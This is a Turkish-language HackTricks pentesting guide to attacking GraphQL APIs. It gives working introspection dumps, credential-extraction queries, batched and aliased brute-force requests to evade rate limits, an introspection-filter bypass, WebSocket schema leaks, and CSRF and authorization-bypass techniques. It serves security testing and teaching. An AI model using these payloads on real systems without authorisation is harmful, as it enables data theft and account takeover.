hacktricks/network-services-pentesting/pentesting-web/graphql.md

29 KiB
Raw Blame History

GraphQL

Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Tanıtım

GraphQL, backend'den veri sorgulamak için basitleştirilmiş bir yaklaşım sunan REST API'ye karşı etkili bir alternatif olarak vurgulanmaktadır. REST'in aksine, verileri toplamak için genellikle çeşitli uç noktalarda çok sayıda istek gerektiren bir yaklaşım yerine, GraphQL tüm gerekli bilgilerin tek bir istek aracılığıyla alınmasını sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar.

GraphQL ve Güvenlik

GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla yeni güvenlik açıkları da ortaya çıkmaktadır. Dikkate alınması gereken önemli bir nokta, GraphQL'in varsayılan olarak kimlik doğrulama mekanizmalarını içermediğidir. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulamasız kullanıcılara hassas bilgileri açığa çıkarabilir ve ciddi bir güvenlik riski oluşturabilir.

Dizin Brute Force Saldırıları ve GraphQL

ığa çıkarılmış GraphQL örneklerini tanımlamak için dizin brute force saldırılarında belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

ık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in keşif sistemi, bir şemanın desteklediği sorguları detaylandırarak bunu kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL belgelerindeki keşif bölümüne bakın: GraphQL: API'ler için bir sorgu dili.

Parmak İzi

graphw00f aracı, bir sunucuda kullanılan GraphQL motorunu tespit edebilir ve ardından güvenlik denetçisi için bazı yararlı bilgileri yazdırabilir.

Evrensel sorgular

Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için bir evrensel sorgu, query{__typename}, gönderilebilir. Yanıt {"data": {"__typename": "Query"}} içeriyorsa, URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya çıkaran GraphQL'in __typename alanına dayanır.

query{__typename}

Temel Numaralandırma

Graphql genellikle GET, POST (x-www-form-urlencoded) ve POST(json) destekler. Güvenlik açısından, CSRF saldırılarını önlemek için yalnızca json'a izin vermek önerilir.

İçgörü

Şema bilgilerini keşfetmek için içgörüyü kullanmak için __schema alanını sorgulayın. Bu alan tüm sorguların kök türünde mevcuttur.

query={__schema{types{name,fields{name}}}}

Bu sorgu ile kullanılan tüm tiplerin adını bulacaksınız:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Bu sorgu ile tüm tipleri, alanlarını ve argümanlarını (ve argümanların türlerini) çıkarabilirsiniz. Veritabanını sorgulamanın nasıl yapılacağını bilmek için çok faydalı olacaktır.

Hatalar

Hataların gösterilip gösterilmeyeceğini bilmek ilginç olacaktır, çünkü bunlar faydalı bilgiler sağlayabilir.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Yapısal Veritabanını Tanımlama Yöntemiyle Sıralama

{% hint style="info" %} Eğer yapısal tanımlama etkinleştirilmişse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından onOperation, onFragment ve onField direktiflerini kaldırmayı deneyin. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Satır içi denetim sorgusu:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Son kod satırı, graphql'den tüm meta bilgileri (nesne adları, parametreler, tipler...) dökecek olan bir graphql sorgusudur.

Eğer açıksözlülük etkinse, GraphQL Voyager kullanarak tüm seçenekleri GUI'de görüntüleyebilirsiniz.

Sorgulama

Veritabanında hangi tür bilgilerin kaydedildiğini bildiğimize göre, bazı değerler çıkarmayı deneyelim.

ıksözlülükte doğrudan sorgulayabileceğiniz nesneleri bulabilirsiniz (bir nesneyi sorgulayamazsınız çünkü var olduğu için). Aşağıdaki görüntüde "queryType"'ın "Query" olarak adlandırıldığını ve "Query" nesnesinin alanlarından birinin "flags" olduğunu görebilirsiniz, ki bu da bir nesne türüdür. Dolayısıyla bayrak nesnesini sorgulayabilirsiniz.

Sorgunun türü "flags"'in "Flags" olduğuna dikkat edin ve bu nesnenin aşağıdaki gibi tanımlandığını görebilirsiniz:

"Flags" nesnelerinin ad ve değer tarafından oluşturulduğunu görebilirsiniz. Sonra bayrakların tüm adlarını ve değerlerini aşağıdaki sorgu ile alabilirsiniz:

query={flags{name, value}}

Dikkat edin ki, sorgulanacak nesne string gibi ilkel bir tür ise aşağıdaki örnekte olduğu gibi

Sadece şu şekilde sorgulayabilirsiniz:

query={hiddenFlags}

Başka bir örnekte, "Query" türü nesnesi içinde 2 nesne bulundu: "user" ve "users".
Bu nesnelerin aramak için herhangi bir argümana ihtiyaç duymadığı durumda, istediğiniz verileri sormak suretiyle tüm bilgileri alabilirsiniz. Bu örnekte İnternet'ten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:

Ancak, bu örnekte bunu denerseniz şu hatayı alırsınız:

Görünüşe göre, bir şekilde "uid" türünde bir argüman kullanarak arama yapacak.
Neyse ki, zaten Temel Numaralandırma bölümünde bize gereken tüm bilgileri gösteren bir sorgu önerilmişti: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Eğer o sorguyu çalıştırdığımda sağlanan resmi okursanız, "user"'ın Int türünde "uid" adında bir arg'ı olduğunu göreceksiniz.

Bu nedenle, hafif bir uid bruteforce yaparak uid=1 için bir kullanıcı adı ve bir şifre elde ettim:
query={user(uid:1){user,password}}

Dikkat edin ki, "user" ve "password" parametrelerini isteyebileceğimi keşfettim çünkü var olmayan bir şey aramaya çalışırsam (query={user(uid:1){noExists}}) bu hatayı alırım:

Ve numaralandırma aşaması sırasında "dbuser" nesnesinin "user" ve "password" alanlarına sahip olduğunu keşfettim.

Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow_)

Eğer bir String türü ile arama yapabilirseniz, örneğin: query={theusers(description: ""){username,password}} ve boş bir dize ararsanız tüm verileri dökecektir. (Bu örnek, öğreticilerin örneği ile ilgili değildir, bu örnekte "theusers" kullanarak "description" adında bir String alanı ile arama yapabileceğinizi varsayalım).

Arama

Bu kurulumda, bir veritabanı kişileri ve filmleri içerir. Kişiler e-posta ve isimleriyle tanımlanır; filmler ise adları ve derecelendirmeleriyle. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.

Kişileri isimlerine göre arayabilir ve e-postalarını alabilirsiniz:

{
searchPerson(name: "John Doe") {
email
}
}

Kişileri adlarına göre arayabilir ve abone oldukları filmleri alabilirsiniz:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Not alınan kişinin subscribedMovies'unun name'inin alınması belirtilmiştir.

Aynı zamanda aynı anda birkaç nesne aranabilir. Bu durumda, 2 film araması yapılır:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ya da farklı nesnelerin ilişkileri kullanılarak takma adlar:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutasyonlar

Mutasyonlar, sunucu tarafında değişiklik yapmak için kullanılır.

İntrospeksiyon içinde tanımlanmış mutasyonları bulabilirsiniz. Aşağıdaki resimde "MutationType" "Mutation" olarak adlandırılır ve "Mutation" nesnesi mutasyonların isimlerini içerir (bu durumda "addPerson" gibi):

Bu yapıda bir veritabanı, kişileri ve filmleri içerir. Kişiler, e-posta ve isimleri ile tanımlanır; filmler ise isim ve puanları ile tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanındaki ilişkileri gösterir.

Veritabanına yeni film eklemek için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon addMovie olarak adlandırılmıştır):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Sorguda hem verilerin hem de veri türünün belirtildiğine dikkat edin.

Ayrıca, veritabanı mevcut arkadaşlar ve filmler ile ilişkilendirilmiş kişilerin oluşturulmasına izin veren addPerson adında bir mutasyon işlemini destekler. Arkadaşlar ve filmlerin, bunlara yeni oluşturulan kişiyi bağlamadan önce veritabanında mevcut olması önemlidir.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Yönerge Aşırı Yükleme

Bu raporda açıklanan zafiyetlerden birinde belirtildiği gibi, bir yönerge aşırı yükleme, sunucunun işlemleri boşa harcayacak şekilde milyonlarca kez bir yönergeyi çağırması anlamına gelir ve DoS saldırısı yapılabilir hale gelene kadar devam etmesi gerekmektedir.

1 API isteğinde toplu kaba kuvvet saldırısı

Bu bilgi https://lab.wallarm.com/graphql-batching-attack/ adresinden alınmıştır.
Farklı kimlik bilgileri ile birlikte birçok sorguyu aynı anda göndererek kimlik doğrulama. Kontrol etmek için klasik bir kaba kuvvet saldırısıdır, ancak artık GraphQL toplu işleme özelliği sayesinde HTTP isteği başına birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, harici hız izleme uygulamalarını tümünün iyi olduğunu ve şifreleri tahmin etmeye çalışan bir kaba kuvvet botunun olmadığını düşünmelerine kandırabilir.

Aşağıda, aynı anda 3 farklı e-posta/şifre çifti ile uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Açıkça aynı şekilde tek bir istekte binlerce göndermek mümkündür:

Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekler null döndürdü ve ilgili bilgileri error bölümünde yansıttı. İkinci mutasyon doğru kimlik doğrulama verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirteci içeriyordu.

GraphQL İntrospeksiyon Olmadan

Daha fazla graphql uç noktası introspeksiyonu devre dışı bırakıyor. Bununla birlikte, graphql'in beklenmeyen bir istek aldığında fırlattığı hatalar, clairvoyance gibi araçların çoğu şemayı yeniden oluşturmasına yeterlidir.

Ayrıca, Burp Suite uzantısı GraphQuail uzantısı, Burp üzerinden geçen GraphQL API isteklerini izler ve her yeni sorguyu gördüğünde içsel bir GraphQL şeması oluşturur. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir introspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için buraya bakın.

GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir.

GraphQL introspeksiyon savunmalarını atlatma

API'lerde introspeksiyon sorgularına yönelik kısıtlamaları atlatmak için, __schema kelimesinden sonra özel bir karakter eklemek etkili olmaktadır. Bu yöntem, introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler ekleyerek, kısıtlamalar atlatılabilir. Örneğin, __schema'dan sonra bir satır sonu ekleyen bir introspeksiyon sorgusu, bu tür savunmaları atlayabilir:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Eğer başarısız olursanız, yalnızca POST isteklerine kısıtlamalar uygulanmış olabileceğinden GET istekleri veya x-www-form-urlencoded ile POST gibi alternatif istek yöntemlerini düşünün.

WebSockets Deneyin

Bu konuşmada belirtildiği gibi, olası bir WAF'ı atlamaya ve WebSockets aracılığıyla graphQL'e bağlanmanın mümkün olup olmadığını kontrol edin, çünkü bu, graphQL'in şemasını sızdırmanıza izin verebilir:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

ığa Çıkarılmış GraphQL Yapılarını Keşfetme

İntrospeksiyon devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları incelemek yararlı bir stratejidir. Bu sorgular, geliştirici araçlarındaki Kaynaklar sekmesi kullanılarak bulunabilir, API'nin şemasına dair içgörüler sağlayabilir ve potansiyel olarak ığa çıkarılmış hassas sorguları ortaya çıkarabilir. Geliştirici araçları içinde arama yapmak için kullanılan komutlar:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

GraphQL'de CSRF

CSRF nedir bilmiyorsanız aşağıdaki sayfayı okuyun:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Dışarıda, birkaç GraphQL uç noktası CSRF belirteçleri olmadan yapılandırılmış olarak bulabileceksiniz.

GraphQL istekleri genellikle application/json Content-Type kullanılarak POST istekleri aracılığıyla gönderilir.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Ancak, çoğu GraphQL uç noktası ayrıca form-urlencoded POST isteklerini de destekler:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Bu nedenle, önceki istekler gibi CSRF istekleri önişlem istekleri olmadan gönderildiğinden, bir CSRF'yi istismar ederek GraphQL'de değişiklikler yapmak mümkündür.

Ancak, Chrome'un samesite bayrağının yeni varsayılan çerez değeri Lax'tir. Bu, çerezin yalnızca üçüncü taraf web sitesinden GET isteklerinde gönderileceği anlamına gelir.

Ayrıca, sorgu isteğinin genellikle bir GET isteği olarak da gönderilebileceğini ve CSRF belirtecinin GET isteğinde doğrulanmayabileceğini unutmayın.

Ayrıca, bir XS-Search saldırısını istismar ederek kullanıcının kimlik bilgilerini istismar ederek GraphQL uç noktasından içerik sızdırılması mümkün olabilir.

Daha fazla bilgi için şu orijinal yazıya buradan bakın.

GraphQL'de Cross-site WebSocket kaçırma

GraphQL'i istismar eden CRSF zafiyetlerine benzer şekilde, korumasız çerezlerle GraphQL kimlik doğrulamasını istismar etmek ve bir kullanıcının GraphQL'de beklenmeyen eylemler gerçekleştirmesini sağlamak için Cross-site WebSocket kaçırma mümkündür.

Daha fazla bilgi için kontrol edin:

{% content-ref url="../../pentesting-web/websocket-attacks.md" %} websocket-attacks.md {% endcontent-ref %}

GraphQL'de Yetkilendirme

Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istekte bulunanın kimlik doğrulamasını kontrol edebilir ancak yetkilendirmeyi kontrol etmeyebilir.

Sorgu giriş değişkenlerini değiştirmek, hassas hesap ayrıntılarına yol açabilir sızdırılmış.

Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hatta hesap ele geçirmeye yol açabilir.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQL'de Yetkilendirme Atlatma

Query'leri zincirleme zayıf bir kimlik doğrulama sistemini atlayabilir.

Aşağıdaki örnekte işlemin "forgotPassword" olduğunu ve yalnızca onunla ilişkili forgotPassword sorgusunun yürütülmesi gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve bir kullanıcı değişkeni ekliyoruz ki sistem onu yeni bir kullanıcı olarak kaydedebilsin.

GraphQL'de Aliases Kullanarak Hız Sınırlarını Atlatma

GraphQL'de, aliases, bir API isteği yapılırken özelliklerin ıkça adlandırılmasına olanak tanıyan güçlü bir özelliktir. Bu yetenek, tek bir istekte aynı türden birden fazla örneği almak için özellikle kullanışlıdır. Aliases, GraphQL nesnelerinin aynı isme sahip birden fazla özelliğe sahip olmasını engelleyen kısıtlamayı aşmak için kullanılabilir.

GraphQL aliases'lerinin detaylı anlaşılması için aşağıdaki kaynak önerilir: Aliases.

Aliases'lerin asıl amacı birçok API çağrısına gerek duymayı azaltmaktır, ancak aliases'lerin, GraphQL uç noktasında brute force saldırıları gerçekleştirmek için kullanılabileceği istenmeyen bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, HTTP isteklerinin sayısını sınırlayarak brute force saldırılarını engellemeyi amaçlayan hız sınırlayıcılarla korunduğu gerçeğinden kaynaklanmaktadır. Bununla birlikte, bu hız sınırlayıcılar, her istekteki işlemlerin sayısını dikkate almayabilir. Aliases'ler, bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiği için, bu tür hız sınırlama önlemlerini atlayabilir.

Aşağıdaki örneği düşünün, bu örnek, mağaza indirim kodlarının geçerliliğini doğrulamak için aliases'li sorguların nasıl kullanılabileceğini göstermektedir. Bu yöntem, birçok indirim kodunun aynı anda doğrulanmasına izin vererek hız sınırlamayı atlayabilir çünkü bir HTTP isteğinde birkaç sorguyu derleyebilir.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Araçlar

Güvenlik açığı tarayıcıları

İstemciler

Otomatik Testler

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Referanslar